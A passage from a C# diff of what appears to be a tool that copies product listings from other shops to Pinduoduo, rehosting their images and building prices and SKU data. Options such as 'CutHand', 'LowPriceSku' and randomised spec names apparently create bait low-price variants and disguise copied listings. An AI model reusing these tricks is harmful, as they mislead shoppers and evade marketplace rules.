BaseRegex.GetMatchRegex(ref pb.content, @"]*?src=[""'](.*?)[""']"); + if (mx.Count == 0) + mx = BaseRegex.GetMatchRegex(ref pb.content, @"]*?>(.*?)"); + for (int j = 0; j < mx.Count; j++) + { + string urlx = mx[j].Groups[1].Value.Replace(".src", ""); + if (string.IsNullOrEmpty(urlx)) + continue; + if (urlx.Contains("//") && !urlx.Contains("http:") && !urlx.Contains("https:")) + urlx = "http:" + urlx; + if (urlx.Contains("?")) + urlx = urlx.Substring(0, urlx.IndexOf("?")); + if (urlx.Contains("@")) + urlx = urlx.Substring(0, urlx.IndexOf("@")); + if (urlx.Contains(".yangkeduo.com")) + continue; + long urlId = Math.Abs(BaseClass.GetLong(urlx)); + if (picsTemp.ContainsKey(urlId)) + continue; + if (!string.IsNullOrEmpty(urlx)) + ids += urlId + ","; + } + for (int j = 0; pb.Props.Count > 0 && j < pb.SkuMaps.Count; j++) + { + if (!string.IsNullOrEmpty(pb.SkuMaps[j].prop_image) && pb.SkuMaps[j].prop_image.Contains(".yangkeduo.com/")) + { + if (pb.SkuMaps[j].prop_image.Substring(0, 2) == "//") + pb.SkuMaps[j].prop_image = "http:" + pb.SkuMaps[j].prop_image; + if (string.IsNullOrEmpty(pb.SkuMaps[j].pinduoduo_image)) + pb.SkuMaps[j].pinduoduo_image = pb.SkuMaps[j].prop_image; + continue; + } + string urlx = string.IsNullOrEmpty(pb.SkuMaps[j].pinduoduo_image) ? pb.SkuMaps[j].prop_image : pb.SkuMaps[j].pinduoduo_image; + if (string.IsNullOrEmpty(urlx)) + continue; + urlx = urlx.Replace(".src", ""); + if (urlx.Contains("//") && !urlx.Contains("http:") && !urlx.Contains("https:")) + urlx = "http:" + urlx; + if (urlx.Contains("?")) + urlx = urlx.Substring(0, urlx.IndexOf("?")); + if (urlx.Contains("@")) + urlx = urlx.Substring(0, urlx.IndexOf("@")); + pb.SkuMaps[j].prop_image = urlx; + if (urlx.Contains(".yangkeduo.com")) + continue; + long urlId = Math.Abs(BaseClass.GetLong(urlx)); + if (picsTemp.ContainsKey(urlId)) + { + pb.SkuMaps[j].prop_image = picsTemp[urlId]; + pb.SkuMaps[j].pinduoduo_image = picsTemp[urlId]; + continue; + } + if (!string.IsNullOrEmpty(urlx) && !ids.Contains(urlId.ToString())) + ids += urlId + ","; + } + if (!string.IsNullOrEmpty(ids)) + { + ids = ids.Substring(0, ids.Length - 1); + string urlxt = BaseClass.LoginApiUrl + "?obj=upshopid/image_pinduoduo&act=get"; + string dataxt = UserLogin.GetSignaturex() + "&ids=" + ids; + string htmlxt = GetHtml.PostUtf8(urlxt, dataxt); + var mg = BaseRegex.GetMatchRegex(ref htmlxt, @"([\d]+),([\w\W]+?);"); + + for (int i = 0; i < mg.Count; i++) + { + try + { + long id = long.Parse(mg[i].Groups[1].Value); + string urlx = mg[i].Groups[2].Value; + picsTemp.Add(id, urlx); + } + catch + { + } + } + } + byte[] img; + bool ok; + + string imageString = ""; + string apiImageString = ""; + ImageBuild ib; + List images = new List(); + for (int j = 0; j < pb.Images.Count && images.Count < 10; j++) + { + if (pb.Images[j].Length > 2 && pb.Images[j].Substring(0, 2) == "//") + pb.Images[j] = "http:" + pb.Images[j]; + if (pb.Images[j].Contains("@")) + pb.Images[j] = pb.Images[j].Substring(0, pb.Images[j].IndexOf("@")); + string imgUrl = ""; + string tempImage = pb.Images[j]; + //图片缓存 + if (UploadPinduoduoMain.MainImg && picsTemp.ContainsKey(Math.Abs(BaseClass.GetLong(tempImage)))) + tempImage = picsTemp[Math.Abs(BaseClass.GetLong(tempImage))]; + if (tempImage.Contains(".yangkeduo.com/")) + { + images.Add(tempImage); + imageString += ",{\"url\":\"" + tempImage + "\",\"width\":640,\"height\":640,\"type\":\"1\"}"; + apiImageString += ",\"" + tempImage + "\""; + if (imageByte == null || j == 5) + { + GetPostTaobaoHtml.DownLoadImage(tempImage, out img); + imageByte = img; + } + continue; + } + + if (ImageTemp.ContainsKey(tempImage) && ImageTemp[tempImage].Height == ImageTemp[tempImage].Width && ImageTemp[tempImage].Width > 480 && ImageTemp[tempImage].Width <= 800) + { + imgUrl = ImageTemp[tempImage].Url; + images.Add(imgUrl); + AddImage(tempImage, imgUrl, 640, 640); + imageString += ",{\"url\":\"" + imgUrl + "\",\"width\":640,\"height\":640,\"type\":\"1\"}"; + apiImageString += ",\"" + imgUrl + "\""; + continue; + } + ok = GetPostTaobaoHtml.DownLoadImage(tempImage, out img); + if (!ok) + continue; + if (imageByte == null && j == 2) + { + imageByte = img; + } + ib = new ImageBuild(img); + if (tempImage.Contains(".yangkeduo.com") && ib.CanUser && ib.Width == ib.Height && ib.Width >= 480 && ib.Width <= 800 && img.Length < 100 * 1024 && images.Count < 2) + { + imgUrl = tempImage; + } + else + { + ImageCut.HandleImage(ref img, UploadPinduoduoMain.MainImg); + ib = new ImageBuild(img); + if (UploadPinduoduoMain.MainImg) + img = ib.BuildNewSize(640, 640, 100); + else + img = ib.BuildNewSizeCut(640, 640, 100); + imgUrl = UploadImg(tempImage, ref img, true); + } + if (string.IsNullOrEmpty(imgUrl)) + continue; + images.Add(imgUrl); + AddImage(tempImage, imgUrl, 640, 640); + imageString += ",{\"url\":\"" + imgUrl + "\",\"width\":640,\"height\":640,\"type\":\"1\"}"; + apiImageString += ",\"" + imgUrl + "\""; + } + if (images.Count == 0) + { + t.Message = "上传轮播图错误"; + Error(t.Message, t.Message); + return; + } + + string apiContentString = ""; + List contentImage = new List(); + var m = BaseRegex.GetMatchRegex(ref pb.content, @"]*?src=[""'](.*?)[""']"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref pb.content, @"]*?>(.*?)"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref pb.content, @"]+?>(.*?)"); + int maxImageCount = UploadPinduoduoMain.JustSaveContentImage ? UploadPinduoduoMain.JustSaveContentImageCount : 20; + //if (maxImageCount < m.Count&&!UploadPinduoduoMain.JustSaveContentImage) + // maxImageCount = m.Count; + for (int j = 0; j < m.Count && contentImage.Count < maxImageCount; j++) + { + if (j == 0 && m.Count > 3 && UploadPinduoduoMain.DeleteFirst)//不要第一张图 + continue; + if (m.Count > 5 && j == m.Count - 1 && UploadPinduoduoMain.DeleteFirst)//最后一张 + continue; + string urlImg = m[j].Groups[1].Value.Replace(".src", ""); + if (string.IsNullOrEmpty(urlImg)) + continue; + if (urlImg.Contains("//") && !urlImg.Contains("http:") && !urlImg.Contains("https:")) + urlImg = "http:" + urlImg; + if (urlImg.Contains("?")) + urlImg = urlImg.Substring(0, urlImg.IndexOf("?")); + + //图片缓存 + if (picsTemp.ContainsKey(Math.Abs(BaseClass.GetLong(urlImg)))) + urlImg = picsTemp[Math.Abs(BaseClass.GetLong(urlImg))]; + + if (urlImg.Contains(".yangkeduo.com/")) + { + contentImage.Add(urlImg); + imageString += ",{\"url\":\"" + urlImg + "\",\"width\":640,\"height\":640,\"type\":\"2\"}"; + apiContentString += ",\"" + urlImg + "\""; + continue; + } + //string exe = Path.GetExtension(urlImg).ToLower(); + //if (exe != ".jpeg" && exe != ".jpg" && exe != ".png" && exe != ".gif") + // continue; + if (ImageTemp.ContainsKey(urlImg)) + { + string imgUrl = ImageTemp[urlImg].Url; + contentImage.Add(imgUrl); + imageString += ",{\"url\":\"" + imgUrl + "\",\"width\":" + ImageTemp[urlImg].Width + ",\"height\":" + ImageTemp[urlImg].Height + ",\"type\":\"2\"}"; + apiContentString += ",\"" + imgUrl + "\""; + continue; + } + ok = GetPostTaobaoHtml.DownLoadImage(urlImg, out img); + if (ok && img.Length < 1000 * 1024) + { + ib = new ImageBuild(img); + int width = ib.Width; + int height = ib.Height; + if (ib.Width < 480 || ib.Width > 2500 || ib.Height > 1500) + { + if (ib.Width > 480 && ib.Width < 2500 && ib.Height > 1500)//contentImage.Count < 2 && + { + if (ib.Width > 640) + { + width = 640; + int per = width * 100 / ib.Width; + height = ib.Height * per / 100; + height = Math.Min(1000, height); + } + else + { + width = ib.Width; + height = 1500; + } + } + else + { + continue; + } + } + else if (ib.Width > 640)//图片宽度太宽的压缩一下 + { + width = 640; + int per = width * 100 / ib.Width; + height = ib.Height * per / 100; + } + if (height < 10) + continue; + string imgUrl = ""; + if (urlImg.Contains(".yangkeduo.com") && ib.CanUser && ib.Width > 480 && ib.Width < 1200 && ib.Height > 10 && ib.Height < 1500) + { + imgUrl = urlImg; + } + else + { + img = ib.BuildNewSize(width, height, 950);//不管大小如何,都重新生成JPG图片 + imgUrl = UploadImg(urlImg, ref img, true); + } + if (!string.IsNullOrEmpty(imgUrl)) + { + contentImage.Add(imgUrl); + imageString += ",{\"url\":\"" + imgUrl + "\",\"width\":" + width + ",\"height\":" + height + ",\"type\":\"2\"}"; + apiContentString += ",\"" + imgUrl + "\""; + AddImage(urlImg, imgUrl, width, height); + } + } + } + if (contentImage.Count == 0) + { + t.Message = "上传内容图异常"; + Error(t.Message, t.Message); + return; + } + //上传SKU图 + string firstSkuImage = ""; + imageString = imageString.Substring(1); + apiContentString = apiContentString.Substring(1); + for (int j = 0; pb.Props.Count > 0 && j < pb.SkuMaps.Count; j++) + { + long urlId = Math.Abs(BaseClass.GetLong(pb.SkuMaps[j].prop_image)); + if (picsTemp.ContainsKey(urlId)) + pb.SkuMaps[j].prop_image = picsTemp[urlId]; + if (!string.IsNullOrEmpty(pb.SkuMaps[j].prop_image) && pb.SkuMaps[j].prop_image.Contains(".yangkeduo.com/")) + { + if (pb.SkuMaps[j].prop_image.Substring(0, 2) == "//") + pb.SkuMaps[j].prop_image = "http:" + pb.SkuMaps[j].prop_image; + if (string.IsNullOrEmpty(pb.SkuMaps[j].pinduoduo_image)) + pb.SkuMaps[j].pinduoduo_image = pb.SkuMaps[j].prop_image; + continue; + } + + if (ImageTemp.ContainsKey(pb.SkuMaps[j].prop_image) && ImageTemp[pb.SkuMaps[j].prop_image].Width > 480 && ImageTemp[pb.SkuMaps[j].prop_image].Width == ImageTemp[pb.SkuMaps[j].prop_image].Height) + { + pb.SkuMaps[j].pinduoduo_image = ImageTemp[pb.SkuMaps[j].prop_image].Url; + if (string.IsNullOrEmpty(firstSkuImage)) + firstSkuImage = pb.SkuMaps[j].pinduoduo_image; + continue; + } + string urlx = pb.SkuMaps[j].prop_image; + if (string.IsNullOrEmpty(urlx)) + continue; + if (!urlx.Contains("http:") && !urlx.Contains("https:")) + urlx = "http:" + urlx; + + ok = GetHtml.DownloadFile(urlx, out img); + ib = new ImageBuild(img); + if (ImageTemp.ContainsKey(pb.SkuMaps[j].prop_image) && ib.Width == ib.Height && ib.Width > 480 && ImageTemp[pb.SkuMaps[j].prop_image].Url.Contains("http:"))//未找到尺寸 + { + ImageTemp[pb.SkuMaps[j].prop_image].Width = ib.Width; + ImageTemp[pb.SkuMaps[j].prop_image].Height = ib.Height; + pb.SkuMaps[j].pinduoduo_image = ImageTemp[pb.SkuMaps[j].prop_image].Url; + if (string.IsNullOrEmpty(firstSkuImage)) + firstSkuImage = pb.SkuMaps[j].pinduoduo_image; + continue; + } + string imgUrl = ""; + img = ib.BuildNewSize(640, 640, 800); + if (urlx.Contains(".yangkeduo.com") && ib.CanUser && ib.Width == ib.Height && ib.Width > 480 && ib.Width <= 800) + { + imgUrl = urlx; + } + else + { + imgUrl = UploadImg(urlx, ref img, true); + } + + if (string.IsNullOrEmpty(imgUrl)) + { + Thread.Sleep(1000); + imgUrl = UploadImg(urlx, ref img, true); + } + AddImage(urlx, imgUrl, 640, 640); + if (string.IsNullOrEmpty(imgUrl)) + { + t.Message = "上传属性图异常"; + Error(t.Message, t.Message); + return; + } + if (string.IsNullOrEmpty(firstSkuImage)) + firstSkuImage = imgUrl; + pb.SkuMaps[j].pinduoduo_image = imgUrl; + if (ImageTemp.ContainsKey(pb.SkuMaps[j].prop_image)) + { + ImageTemp[pb.SkuMaps[j].prop_image].Url = imgUrl; + ImageTemp[pb.SkuMaps[j].prop_image].Width = 640; + ImageTemp[pb.SkuMaps[j].prop_image].Height = 640; + } + AddImage(pb.SkuMaps[j].prop_image, pb.SkuMaps[j].pinduoduo_image, 640, 640); + } + if (string.IsNullOrEmpty(firstSkuImage) && images.Count > 0) + firstSkuImage = images[0]; + + if (pb.Images.Count < 10) + { + int subCount = 10 - pb.Images.Count; + if (pb.SkuMaps.Count > subCount) + { + for (int i = 0; i < subCount; i++) + { + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(0, pb.SkuMaps.Count); + string imagex = pb.SkuMaps[randx].pinduoduo_image; + if (imagex.Contains("@")) + imagex = imagex.Substring(0, imagex.IndexOf("@")); + pb.Images.Add(imagex); + } + } + else + { + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(0, pb.SkuMaps.Count); + string imagex = pb.SkuMaps[randx].pinduoduo_image; + if (string.IsNullOrEmpty(imagex)) + continue; + if (imagex.Contains("@")) + imagex = imagex.Substring(0, imagex.IndexOf("@")); + pb.Images.Add(imagex); + } + //subCount = 8 - pb.Images.Count; + //for (int i = 0; i < subCount; i++) + //{ + // int randx = new Random(Guid.NewGuid().GetHashCode()).Next(0, contentImage.Count); + // pb.Images.Add(contentImage[randx]); + //} + } + int start = images.Count; + for (int j = start; j < pb.Images.Count; j++) + { + string tempImage = pb.Images[j]; + //if (tempImage.Contains(".yangkeduo.com/")) + //{ + images.Add(tempImage); + //imageString += ",{\"url\":\"" + tempImage + "\",\"width\":640,\"height\":640,\"type\":\"1\"}"; + apiImageString += ",\"" + tempImage + "\""; + //continue; + //} + } + } + string url, data, html, refere = "https://mms.pinduoduo.com/Pdd.html"; + string skuString = ""; + string skuApiString = "", upProductId; + string out_goods_id = EncryptionCode.GetCode(pb.from_id, pb.from_site_id, Shop.MallId, out upProductId); + out_goods_id = ""; + + decimal maxPriceNewx = 0, minPriceNewx = 1000000; + decimal maxPriceOnline = 0, maxPriceNew = 0; + + string singlePrice = t.ViPrice; + decimal proPrice = 0M; + decimal proPos = 0M; + + if (!string.IsNullOrEmpty(singlePrice)) + { + proPrice = decimal.Parse(singlePrice.Split('+')[0].Replace("%", "")); + proPos = decimal.Parse(singlePrice.Split('+')[1]); + } + + decimal expressPrcie = pb.express_price; + if (!UploadPinduoduoMain.isExpressPrice) + expressPrcie = 0.0M; + if (pb.Props.Count == 0 || pb.Props[0].Values.Count == 0) + { + if (pb.price == 0 && pb.SkuMaps.Count > 0) + pb.price = pb.SkuMaps[0].price; + int onsale = pb.price == 0 ? 0 : 1; + int multi_price = 0; + if (t.ViGoodsId <= 0 || string.IsNullOrEmpty(singlePrice)) + { + multi_price = WhitePriceBuild(pb.price, UploadPinduoduoMain.MultiPrice, expressPrcie); + } + else + { + multi_price = WhitePriceBuild(pb.price, proPrice, proPos, expressPrcie); + } + // 微店转换数据对sku价格取整,尾数1,2,3,4的加到5,尾数6,7,8,9的加到10 + if (t.ViGoodsId > 0 && IsRounding) + { + while (!multi_price.ToString().EndsWith("0") && !multi_price.ToString().EndsWith("5")) + { + multi_price++; + } + } + maxPriceNewx = multi_price; + minPriceNewx = multi_price; + maxPriceNew = multi_price; + maxPriceOnline = multi_price + UploadPinduoduoMain.SinglePrice * 100; + skuString = ",{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + UploadPinduoduoMain.LimitBuy + + ",\"quantity_delta\":" + UploadPinduoduoMain.LimitBuy + ",\"thumb_url\":\"\"," + + "\"multi_price\":" + multi_price + ",\"price\":" + + (multi_price + UploadPinduoduoMain.SinglePrice * 100) + ",\"out_sku_sn\":\"" + out_goods_id + "\",\"id\":0,\"spec\":\"\",\"weight\":1000}"; + skuApiString = ",{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + UploadPinduoduoMain.LimitBuy + + ",\"price\":\"" + (multi_price + UploadPinduoduoMain.SinglePrice * 100) + "\",\"weight\":1000,\"multi_price\":\"" + multi_price + + "\",\"thumb_url\":\"" + firstSkuImage + "\",\"out_sku_sn\":\"" + out_goods_id + "\",\"quantity\":" + UploadPinduoduoMain.LimitBuy + ",\"spec_id_list\":\"[]\"}"; + out_goods_id = ""; + } + string Cookies = Shop.Cookies; + //随机属性名称 + bool begin = new Random(Guid.NewGuid().GetHashCode()).Next(0, 10) < 5; + //UploadPinduoduoMain.RandSku = false;//临时关闭随机SKU功能 + for (int i = 0; UploadPinduoduoMain.RandSku && i < pb.Props.Count; i++) + { + for (int j = 0; j < pb.Props[i].Values.Count; j++) + { + if (pb.Props[i].name == "尺码") + break; + pb.Props[i].Values[j].name_pinduoduo = Randomx.GetNewProp(begin, pb.Props[i].Values[j].name); + url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name"; + data = "{\"parent_id\":" + pb.Props[i].pinduoduo_id + ",\"name\":\"" + pb.Props[i].Values[j].name_pinduoduo + "\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Cookies); + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies); + } + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies); + } + string propvid = BaseRegex.GetStringJson(ref html, "result"); + if (string.IsNullOrEmpty(propvid)) + { + Thread.Sleep(3000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Cookies); + propvid = BaseRegex.GetStringJson(ref html, "result"); + } + pb.Props[i].Values[j].id = propvid; + } + } + if (t.Cat3 == 0) + { + foreach (KeyValuePair c3 in PinduoduoCatList.CatIds) + { + if (c3.Value.cat2 == t.Cat2 && c3.Value.cat3 > 0) + { + t.Cat3 = c3.Value.cat3; + break; + } + } + } + if (t.Cat4 == 0 && t.Cat3 > 0) + { + foreach (KeyValuePair c4 in PinduoduoCatList.CatIds) + { + if (c4.Value.cat3 == t.Cat3 && c4.Value.cat4 > 0) + { + t.Cat4 = c4.Value.cat4; + break; + } + } + } + int catId = t.Cat4 > 0 ? t.Cat4 : t.Cat3, maxEndPrice = 0; + if (catId == 0) + catId = t.CatId; + catId = PinduoduoCatList.GetNewCat3(catId); + + // 低价sku + SkuMapBase skuMin = null; + // 生成新的价格 + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + // 团购(拼团) + if (t.ViGoodsId <= 0 || string.IsNullOrEmpty(singlePrice)) + { + if (UploadPinduoduoMain.isPriceModel) + { + for (int k = 0; k < UploadPinduoduoMain.PriceModelList.Count; k++) + { + var item = UploadPinduoduoMain.PriceModelList[k]; + if (pb.SkuMaps[i].price >= item.MinPrice && pb.SkuMaps[i].price < item.MaxPrice) + { + UploadPinduoduoMain.Postage = item.CoupPrice; + UploadPinduoduoMain.MultiPrice = 0; + break; + } + } + } + pb.SkuMaps[i].new_price = WhitePriceBuild(pb.SkuMaps[i].price, UploadPinduoduoMain.MultiPrice, expressPrcie); + } + else + { + //if (UploadPinduoduoMain.isPriceModel) + //{ + // for (int k = 0; k < UploadPinduoduoMain.PriceModelList.Count; k++) + // { + // var item = UploadPinduoduoMain.PriceModelList[k]; + // if (pb.SkuMaps[i].price >= item.MinPrice && pb.SkuMaps[i].price < item.MaxPrice) + // { + // proPos = item.CoupPrice; + // proPrice = 0; + // break; + // } + // } + //} + pb.SkuMaps[i].new_price = WhitePriceBuild(pb.SkuMaps[i].price, proPrice, proPos, expressPrcie); + } + if (maxEndPrice < pb.SkuMaps[i].new_price) + maxEndPrice = pb.SkuMaps[i].new_price; + // 单买 + pb.SkuMaps[i].online_price = (int)(pb.SkuMaps[i].new_price + UploadPinduoduoMain.SinglePrice * 100); + if (maxPriceNew < pb.SkuMaps[i].new_price) + maxPriceNew = pb.SkuMaps[i].new_price; + if (maxPriceOnline < pb.SkuMaps[i].online_price) + maxPriceOnline = pb.SkuMaps[i].online_price; + if (skuMin == null || skuMin.new_price > pb.SkuMaps[i].new_price) + skuMin = pb.SkuMaps[i]; + } + int skuMinBackPrice = skuMin==null?0:skuMin.new_price; + string skuMinString = ""; + if (UploadPinduoduoMain.LowPriceSku && pb.SkuMaps.Count > 1 && skuMin != null) + { + skuMin.new_price = + (int)((skuMin.price * UploadPinduoduoMain.LowPricePercent + UploadPinduoduoMain.LowPriceAdd+expressPrcie) * 100); + } + + int market_price = (int)(maxPriceOnline * UploadPinduoduoMain.BeforePrice); + bool userShield = false; + //临时关闭价格护盾 + decimal dd = PinduoduoCatList.GetPriceSpace(catId) * 10; + if (dd == 12) + dd = 10; + for (int i = 0; UploadPinduoduoMain.PriceShield && i < pb.SkuMaps.Count; i++) // 二级护盾 + { + if (UploadPinduoduoMain.LowPriceSku && pb.SkuMaps[i].id == skuMin.id) + continue; + pb.SkuMaps[i].new_price = (int)(pb.SkuMaps[i].new_price) / 10 * 10; + if (pb.SkuMaps[i].new_price < maxPriceNew / dd * 10) + { + userShield = true; + pb.SkuMaps[i].new_price = (int)(maxPriceNew / dd * 10); + } + //单买 + pb.SkuMaps[i].online_price = (int)(pb.SkuMaps[i].online_price); + if (pb.SkuMaps[i].online_price < maxPriceOnline / dd * 10) + { + userShield = true; + pb.SkuMaps[i].online_price = (int)(maxPriceOnline / dd * 10 + 100); + } + } + if (dd == 10) + { + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (UploadPinduoduoMain.LowPriceSku) + continue; + pb.SkuMaps[i].new_price = (int)(maxPriceNew / dd * 10); + pb.SkuMaps[i].online_price = (int)(maxPriceOnline / dd * 10 + 100); + } + } + for (int i = 0; i < pb.Props.Count; i++)//剔除过多的属性 + { + while (pb.Props[i].Values.Count > 30 && pb.Props.Count > 1) + { + string[] li = skuMin.name.Split(';'); + string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim(); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim(); + if (pb.Props[i].Values[30].name.Contains(n1) || pb.Props[i].Values[30].name.Contains(n2) + || n1.Contains(pb.Props[i].Values[30].name) || n2.Contains(pb.Props[i].Values[30].name)) + { + pb.Props[i].Values.RemoveAt(29); + continue; + } + pb.Props[i].Values.RemoveAt(30); + } + while (pb.Props[i].Values.Count > 40 && pb.Props.Count == 1) + { + if (pb.Props[i].Values[40].name.Contains(skuMin.name) || skuMin.name.Contains(pb.Props[i].Values[40].name)) + { + pb.Props[i].Values.RemoveAt(39); + continue; + } + pb.Props[i].Values.RemoveAt(40); + } + } + decimal maxSkuPriceOnline = 0; + decimal maxSkuMultiPriceOnline = 0; + + // 微店转换数据对sku价格取整,尾数1,2,3,4的加到5,尾数6,7,8,9的加到10 + if (t.ViGoodsId > 0 && IsRounding) + { + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + var sk = pb.SkuMaps[i]; + while (!sk.new_price.ToString().EndsWith("0") && !sk.new_price.ToString().EndsWith("5")) + { + sk.new_price++; + } + while (!sk.online_price.ToString().EndsWith("0") && !sk.online_price.ToString().EndsWith("5")) + { + sk.online_price++; + } + } + } + if (pb.Props.Count == 1) + { + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + var sku = new SkuMapBase(); + for (int k = 0; k < pb.SkuMaps.Count; k++) + { + string[] li = pb.SkuMaps[k].name.Split(';'); + string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim();//pb.SkuMaps[k].nameLite + if (n1.Replace(" ", "+") == pb.Props[0].Values[j].name || n1 == pb.Props[0].Values[j].name) + { + sku = pb.SkuMaps[k]; + break; + } + } + if (string.IsNullOrEmpty(sku.pinduoduo_image)) + { + sku.pinduoduo_image = firstSkuImage; + } + if (sku.new_price == 0) + { + //Error("价格错误,跳过上传" + t.FromId, "价格计算错误"); + continue; + } + if (sku.new_price > sku.online_price - 100) + sku.online_price = sku.new_price + 100; + + if (maxSkuPriceOnline < sku.online_price) + maxSkuPriceOnline = sku.online_price; + if (maxSkuMultiPriceOnline < sku.new_price) + maxSkuMultiPriceOnline = sku.new_price; + if (pb.Props[0].Values[j].id == null || pb.Props[0].Values[j].id.Contains("null")) + continue; + int onsale = sku.number == 0 || sku.price == 0 ? 0 : 1; + if (skuApiString.Contains(pb.Props[0].Values[j].id + "]")) + continue; + int quantity = UploadPinduoduoMain.LimitBuy; + if (!UploadPinduoduoMain.isDefaultQun) + { + quantity = sku.number; + } + skuString += ",{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + quantity + + ",\"quantity_delta\":" + quantity + ",\"thumb_url\":\"" + sku.pinduoduo_image + "\"," + + "\"multi_price\":" + sku.new_price + ",\"price\":" + + sku.online_price + + ",\"out_sku_sn\":\"" + out_goods_id + "\",\"id\":0,\"spec\":" + + "[{\"parent_name\":\"" + pb.Props[0].name + "\",\"parent_id\":" + + pb.Props[0].id + ",\"spec_name\":\"" + pb.Props[0].Values[j].name_pinduoduo + "\",\"spec_id\":" + + pb.Props[0].Values[j].id + "}],\"weight\":1000}"; + if (UploadPinduoduoMain.LowPriceQ && skuMin != null && sku.id == skuMin.id) + { + skuApiString += ",{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + quantity + + ",\"price\":\"" + sku.online_price + "\",\"weight\":1000,\"multi_price\":\"" + sku.new_price + + "\",\"thumb_url\":\"" + sku.pinduoduo_image + "\",\"out_sku_sn\":\"" + out_goods_id + + "\",\"quantity\":" + UploadPinduoduoMain.LowPriceStock + ",\"spec_id_list\":\"[" + pb.Props[0].Values[j].id + "]\"}"; + } + else + { + skuApiString += ",{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + quantity + + ",\"price\":\"" + sku.online_price + "\",\"weight\":1000,\"multi_price\":\"" + sku.new_price + + "\",\"thumb_url\":\"" + sku.pinduoduo_image + "\",\"out_sku_sn\":\"" + out_goods_id + + "\",\"quantity\":" + quantity + ",\"spec_id_list\":\"[" + pb.Props[0].Values[j].id + "]\"}"; + } + if (UploadPinduoduoMain.LowPriceSku&&sku.id==skuMin.id) + { + skuMinString = "{\"is_onsale\":" + onsale + ",\"limit_quantity\":" + quantity + + ",\"price\":\"" + (skuMinBackPrice+100) + "\",\"weight\":1000,\"multi_price\":\"" + skuMinBackPrice + + "\",\"thumb_url\":\"" + sku.pinduoduo_image + "\",\"out_sku_sn\":\"" + out_goods_id + + "\",\"quantity\":" + quantity + ",\"spec_id_list\":\"[" + pb.Props[0].Values[j].id + "]\"}"; + } + pb.Props[0].Values[j].is_used = true; + out_goods_id = ""; + } + // 临时关闭剪刀手 + if (UploadPinduoduoMain.CutHand && maxEndPrice > 800 && !string.IsNullOrEmpty(UploadPinduoduoMain.CutHandPath) && !string.IsNullOrEmpty(UploadPinduoduoMain.CutHandName))//价格剪刀手 + { + string imgUrl = UploadPinduoduoMain.CutHandImage; + if (string.IsNullOrEmpty(UploadPinduoduoMain.CutHandImage)) + { + var imgx = File.ReadAllBytes(UploadPinduoduoMain.CutHandPath); + ib = new ImageBuild(imgx); + imgx = ib.BuildNewSize(640, 640, 100); + imgUrl = UploadImg(UploadPinduoduoMain.CutHandPath, ref imgx, false); + UploadPinduoduoMain.CutHandImage = imgUrl; + } + PinduoduoApiPropId apix = new PinduoduoApiPropId(Shop); + string htmlx = apix.GetPropId(pb.Props[0].pinduoduo_id, UploadPinduoduoMain.CutHandName); + string spec_id = BaseRegex.GetStringJson(ref htmlx, "spec_id"); + if (!string.IsNullOrEmpty(spec_id) && !string.IsNullOrEmpty(imgUrl)) + { + int multi_price = (int)(maxEndPrice / dd * 10); + skuApiString += ",{\"is_onsale\":1,\"limit_quantity\":" + UploadPinduoduoMain.LimitBuy + + ",\"price\":\"" + (multi_price + 100) + "\",\"weight\":1000,\"multi_price\":\"" + multi_price + + "\",\"thumb_url\":\"" + imgUrl + "\",\"out_sku_sn\":\"" + out_goods_id + + "\",\"quantity\":" + UploadPinduoduoMain.CutHandStock + ",\"spec_id_list\":\"[" + spec_id + "]\"}"; + } + } + } + if (pb.Props.Count == 2) + { + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + for (int k = 0; k < pb.Props[1].Values.Count; k++) + { + string sm = + "{\"parent_name\":\"" + pb.Props[0].pinduoduo_name + "\",\"parent_id\":" + pb.Props[0].pinduoduo_id + + ",\"spec_name\":\"" + (string.IsNullOrEmpty(pb.Props[0].Values[j].name_pinduoduo) ? pb.Props[0].Values[j].name : pb.Props[0].Values[j].name_pinduoduo) + "\",\"spec_id\":" + pb.Props[0].Values[j].id + + "},{\"parent_name\":\"" + pb.Props[1].pinduoduo_name + "\",\"parent_id\":\"" + pb.Props[1].pinduoduo_id + + "\",\"spec_name\":\"" + (string.IsNullOrEmpty(pb.Props[1].Values[k].name_pinduoduo) ? pb.Props[1].Values[k].name : pb.Props[1].Values[k].name_pinduoduo) + "\",\"spec_id\":\"" + pb.Props[1].Values[k].id + "\"}"; + var sku = new SkuMapBase(); + for (int l = 0; l < pb.SkuMaps.Count; l++) + { + string[] li = pb.SkuMaps[l].name.Split(';'); + if (li.Length == 2) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim(); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim(); + if (t.FromType == "微店") + { + n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim().Replace(" ", "+"); + n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim().Replace(" ", "+"); + } + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1) + { + sku = pb.SkuMaps[l]; + break; + } + } + if (li.Length == 3) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1).Trim(); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1).Trim(); + string n3 = 